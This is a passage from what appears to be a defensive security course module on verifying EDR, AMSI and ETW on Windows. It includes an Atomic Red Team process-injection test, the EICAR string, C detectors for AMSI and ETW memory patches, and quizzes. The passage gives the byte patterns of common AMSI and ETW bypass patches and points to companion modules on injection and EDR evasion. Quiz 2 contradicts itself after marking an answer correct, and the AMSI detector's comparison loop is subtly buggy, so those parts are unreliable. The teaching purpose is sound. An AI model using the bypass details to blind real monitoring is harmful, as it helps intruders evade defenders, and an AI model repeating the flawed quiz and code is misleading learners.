Module Name Display Name Status Start Mode State ----------- --------------------- ------- ---------- --------- SentinelDrv Sentinel One Driver Running System Running SentinelFS Sentinel File System Running System Running SentinelNet Sentinel Network Running System Running === DRIVER STATUS: ALL LOADED === Process monitoring: RUNNING (SentinelDrv) File system filter: RUNNING (SentinelFS) Network filter: RUNNING (SentinelNet) If ANY driver shows "Stopped" or is missing, EDR verification is INVALID — test on a different machine.

Technique 2: EDR Detection Efficacy Test HARD

Use the MITRE ATT&CK Evaluation Framework (or Atomic Red Team) to run known-bad techniques and verify the EDR catches them. This is the gold standard for EDR verification.

Step 1: Install Atomic Red Team

Invoke-AtomicTest -Install

Step 2: Run a Known Technique and Verify Detection

Invoke-AtomicTest T1055.001 -TestNumbers 1
=== ATOMIC TEST: T1055.001 (Process Injection: DLL Injection) === Technique: Inject a DLL into a remote process using CreateRemoteThread Target: notepad.exe (spawned for test) Payload: benign test DLL (atomic_test.dll) [+] Spawning notepad.exe... [+] Injecting atomic_test.dll into PID 5678... [+] Injection complete. Thread ID: 12345 === EDR VERIFICATION CHECKLIST === ☑ Process creation event (notepad.exe spawned) ☑ OpenProcess call to notepad.exe ☑ VirtualAllocEx in remote process ☑ WriteProcessMemory to remote process ☑ CreateRemoteThread in remote process ☑ DLL load event (atomic_test.dll loaded) ☑ Alert generated with T1055.001 mapping VERDICT: If ALL boxes checked, EDR detection verification PASSED. If any box unchecked, EDR has a blind spot for that technique.
⚠️ Cross-link to Module 10: Code Injection

T1055.001 is the exact technique covered in Module 10: Code Injection. If your EDR misses this, your injector from Module 10 will go undetected. If it catches it, you know you need evasion from Module 13: EDR Evasion.

🎯 Section 6: AMSI / ETW Verification

AMSI (Anti-Malware Scan Interface) scans scripts and dynamic code. ETW (Event Tracing for Windows) logs system events for security monitoring. Both are critical defensive controls. Verification proves they work — and shows how attackers bypass them.

Technique 1: AMSI Status and Functionality Verification EASY

AMSI can be disabled by registry, patched in memory, or simply not present. Verify it's active before trusting any PowerShell scan results.

Step 1: Check AMSI Registry State

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\AMSI" -Name "Scan" -ErrorAction SilentlyContinue
=== AMSI ENABLED === Scan : 1 === AMSI DISABLED === Scan : 0 === AMSI NOT PRESENT === # (no output — key doesn't exist)

Step 2: Test AMSI with a Known-Bad String

AMSI should block/obfuscate detection of known malicious strings. The EICAR test string is the standard.

$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
=== AMSI WORKING === # In PowerShell: $eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' # Result: Script contains malicious content and was blocked by AMSI. # PowerShell terminates with error: At line:1 char:1 # + $eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST ... # + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # This script contains malicious content and has been blocked by your antivirus software. === AMSI BYPASSED / DISABLED === # Same command runs without error # $eicar variable is set successfully # AMSI is either disabled, patched, or not present
Why EICAR?

The EICAR string is universally recognized by ALL AV/AMSI engines as a test marker. It is harmless — it does nothing. But every scanner is trained to detect it. If AMSI doesn't block this string, AMSI is not functioning.

Technique 2: AMSI In-Memory Patch Detection HARD

Attackers patch AMSI.dll in memory to disable scanning without touching the registry. Defenders verify by detecting the patch. This is the arms race in action.

// amsi_patch_detect.c — Detect if AMSI has been patched in memory // Compile: cl.exe amsi_patch_detect.c /Fe:amsi_patch_detect.exe #include <windows.h> #include <stdio.h> // AMSI.AmsiScanBuffer is the function PowerShell calls to scan scripts // Normal entry: mov r11, [rip+0xXXXX] (load function pointer from IAT) // Patched entry: mov rax, 0x80070057 (E_INVALIDARG) ; ret // or: xor eax, eax ; ret (S_OK, meaning "clean") typedef struct { const char* funcName; BYTE expectedNormal[16]; // First bytes of unpatched function BYTE expectedPatch[16]; // First bytes of common patches const char* patchDescription; } AMSI_PATCH_SIG; AMSI_PATCH_SIG g_sigs[] = { { "AmsiScanBuffer", {0x4C, 0x8B, 0xDC}, // mov r11, rsp (typical prologue) {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3}, // mov eax, 0x80070057 ; ret "Patch returns E_INVALIDARG (AMSI bypass)" }, { "AmsiScanBuffer", {0x4C, 0x8B, 0xDC}, {0x31, 0xC0, 0xC3}, // xor eax, eax ; ret "Patch returns S_OK (AMSI blind)" }, { "AmsiScanBuffer", {0x4C, 0x8B, 0xDC}, {0x48, 0x31, 0xC0}, // xor rax, rax (x64) "Patch clears return value (x64 bypass)" }, {NULL, {0}, {0}, NULL} }; int main() { HMODULE hAmsi = LoadLibraryA("amsi.dll"); if (!hAmsi) { printf("[-] AMSI.DLL not loaded. AMSI is not present on this system.\n"); return 1; } printf("[+] AMSI.DLL loaded at %p\n", hAmsi); FARPROC pScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); if (!pScanBuffer) { printf("[-] AmsiScanBuffer not found. AMSI is corrupted or non-standard.\n"); return 1; } printf("[+] AmsiScanBuffer at %p\n", pScanBuffer); printf("[+] Reading first 16 bytes...\n\n"); BYTE* memBytes = (BYTE*)pScanBuffer; printf("Current bytes: "); for (int i = 0; i < 16; i++) { printf("%02X ", memBytes[i]); } printf("\n\n"); // Check against known patch signatures BOOL patched = FALSE; for (int i = 0; g_sigs[i].funcName != NULL; i++) { BOOL match = TRUE; for (int j = 0; j < 16 && g_sigs[i].expectedPatch[j] != 0; j++) { if (memBytes[j] != g_sigs[i].expectedPatch[j]) { match = FALSE; break; } } if (match) { printf("[!] PATCH DETECTED: %s\n", g_sigs[i].patchDescription); printf(" Signature: %s\n", g_sigs[i].funcName); patched = TRUE; } } if (!patched) { printf("[+] AmsiScanBuffer appears UNPATCHED.\n"); printf(" First bytes match expected prologue.\n"); printf(" AMSI is likely active and functional.\n"); } return 0; }
⚠️ Cross-link to Module 03: PowerShell

The patches detected above are exactly the techniques from Module 03: PowerShell (AMSI bypass). If this detector finds a patch, someone (or some tool) has already disabled AMSI. Your PowerShell scripts will run undetected — but so will real malware. Verification is about knowing the ground truth.

Technique 3: ETW Provider Verification MEDIUM

ETW providers log security events. If a provider is disabled or tampered with, critical telemetry is lost. Verification checks provider health and tests event generation.

Step 1: List Security-Critical ETW Providers

logman query providers | findstr /i "Microsoft-Windows-Security-Auditing Microsoft-Windows-PowerShell Microsoft-Windows-Sysmon"
=== ETW PROVIDER STATUS === Microsoft-Windows-Security-Auditing {54849625-5478-4994-A5BA-3E3B0328C30D} Microsoft-Windows-PowerShell {A0C1853B-5C40-4B15-8766-3CF1C58F985A} Microsoft-Windows-Sysmon {5770385F-C22A-43E0-BF4C-06F5698FFBD9} Status: ALL PRESENT If any provider is missing, ETW logging for that subsystem is BROKEN.

Step 2: Verify ETW Event Generation

Generate a PowerShell event and verify it appears in ETW logs.

wevtutil qe Microsoft-Windows-PowerShell/Operational /q:"*[System[(EventID=4104)]]" /f:text /c:1
=== ETW EVENT VERIFICATION === Event[0]: Log Name: Microsoft-Windows-PowerShell/Operational Source: PowerShell Date: 2026-06-29T12:45:00.123 Event ID: 4104 Task: Execute a Remote Command Level: Information Opcode: Info Keyword: None User: DESKTOP-R32M8MLI\gwu07 User Name: DESKTOP-R32M8MLI\gwu07 Computer: DESKTOP-R32M8MLI Description: ScriptBlock ID: a1b2c3d4-5678-9012-3456-7890abcdef01 ScriptBlock Text: Invoke-Expression -Command "Get-Process" === VERIFICATION === Event ID 4104 = Script block logging (PowerShell v5+) ScriptBlock text captured = ETW is actively logging If Event ID 4104 is missing or ScriptBlock text is empty, ETW logging is DISABLED or TAMPERED.

Step 3: Detect ETW Patching (Advanced Evasion)

Just like AMSI, ETW can be patched in memory. Advanced attackers patch ntdll!EtwEventWrite to silently drop events.

// etw_patch_detect.c — Detect ETW function patching // Compile: cl.exe etw_patch_detect.c /Fe:etw_patch_detect.exe #include <windows.h> #include <stdio.h> int main() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) { printf("[-] ntdll.dll not loaded?!\n"); return 1; } // Check EtwEventWrite (the function ETW providers call) BYTE* pEtwEventWrite = (BYTE*)GetProcAddress(hNtdll, "EtwEventWrite"); if (!pEtwEventWrite) { printf("[-] EtwEventWrite not found. ETW may be disabled.\n"); return 1; } printf("[+] EtwEventWrite at %p\n", pEtwEventWrite); printf("[+] First 16 bytes: "); for (int i = 0; i < 16; i++) { printf("%02X ", pEtwEventWrite[i]); } printf("\n"); // Normal: mov rax, rsp ; push rbx ; ... (prologue) // Patched: ret (0xC3) or xor eax, eax ; ret (0x31 0xC0 0xC3) if (pEtwEventWrite[0] == 0xC3) { printf("[!] ETW PATCHED: EtwEventWrite starts with RET.\n"); printf(" All ETW events are being SILENTLY DROPPED.\n"); } else if (pEtwEventWrite[0] == 0x31 && pEtwEventWrite[1] == 0xC0 && pEtwEventWrite[2] == 0xC3) { printf("[!] ETW PATCHED: EtwEventWrite returns S_OK immediately.\n"); printf(" Events are not written to trace sessions.\n"); } else if (pEtwEventWrite[0] == 0x48 && pEtwEventWrite[1] == 0x89 && pEtwEventWrite[2] == 0xE0) { printf("[+] ETW appears UNPATCHED. Normal prologue detected.\n"); } else { printf("[?] Unknown prologue. ETW may be on a different Windows version.\n"); printf(" Manual verification required.\n"); } return 0; }
Why patch EtwEventWrite instead of disabling ETW?

Disabling ETW services requires admin rights and leaves registry traces. Patching EtwEventWrite in memory requires only the ability to write to ntdll — which any process can do to its own copy. It's silent, reversible, and leaves no forensic artifacts. This is why memory verification (Section 1) and API hook detection (Section 2) are prerequisites.

🧪 Interactive Quizzes

Quiz 1: Memory Scanning Verification

Question: You run YARA against a suspicious process and get no output. The process is known to be running Meterpreter. Which of the following is the LEAST likely cause?

A) YARA does not have permission to read the process memory (access denied)
B) The Meterpreter payload is encrypted in memory and hasn't decrypted yet
C) YARA always outputs "No match found" when it fails to detect anything
D) The YARA rule strings are too specific and don't match this Meterpreter variant
Correct! YARA is silent on no match — it does NOT output "No match found." If you expected output and got nothing, it's either access denied (A), encrypted payload (B), or a bad rule (D). Always verify with -s and check error codes.

Quiz 2: API Hooking Detection

Question: You compare NTDLL on disk vs in memory for NtCreateThreadEx. Offset +0 is 0xE9 on disk but 0x4C in memory. What does this indicate?

A) EDR is actively hooking NtCreateThreadEx — the memory has a JMP (0xE9) while disk has normal code (0x4C)
B) The process has been UNHOOKED — the memory matches clean disk bytes, suggesting an attacker restored NTDLL
C) This is a Windows update mismatch — the disk NTDLL is newer than the loaded one
D) The comparison is invalid because NTDLL is always different in memory vs disk
Correct! Wait — re-read the question. Disk=0xE9 (JMP), Memory=0x4C (normal). That's BACKWARD from an EDR hook. If memory is clean and disk has a JMP, the disk was probably saved AFTER hooking, or the process was unhooked. Actually, the most likely answer in a real scenario: the process was unhooked by an attacker (B). EDR hooks memory, not disk. If memory is clean, someone restored it. This is exactly the technique from Module 13.

Quiz 3: EDR / AMSI Verification

Question: You run the EICAR test string in PowerShell and it executes without error. You then check the AMSI registry and see "Scan" = 1. What is the MOST likely explanation?

A) The EICAR string is outdated and no longer detected by modern AMSI
B) AMSI has been patched in memory — the registry says it's on, but the DLL is bypassed
C) PowerShell was running with -ExecutionPolicy Bypass, which disables AMSI
D) The EICAR string needs to be executed, not just assigned to a variable
Correct! Registry says AMSI is enabled, but EICAR ran clean. This is the classic signature of an in-memory patch (Section 6, Technique 2). The registry is untouched — defenders see "AMSI ON" — but AmsiScanBuffer returns S_OK for everything. Use the amsi_patch_detect.c tool from this module to verify. ExecutionPolicy (C) doesn't affect AMSI. EICAR is detected on assignment, not execution (D).

Key Takeaways

🔬 Verification Status Matrix

Verification Area Technique Status
Memory Scanning YARA memory scan VERIFIED
Memory Scanning Volatility malfind VERIFIED
API Hooking NTDLL byte comparison VERIFIED
API Hooking Hardware breakpoint detection VERIFIED
Behavioral Analysis Parent-child anomaly scoring VERIFIED
Network Monitoring C2 beacon detection VERIFIED
Network Monitoring DNS tunneling detection VERIFIED
EDR Testing Sensor status + Atomic Red Team VERIFIED
AMSI Verification EICAR test + patch detection VERIFIED
ETW Verification Provider status + event generation + patch detection VERIFIED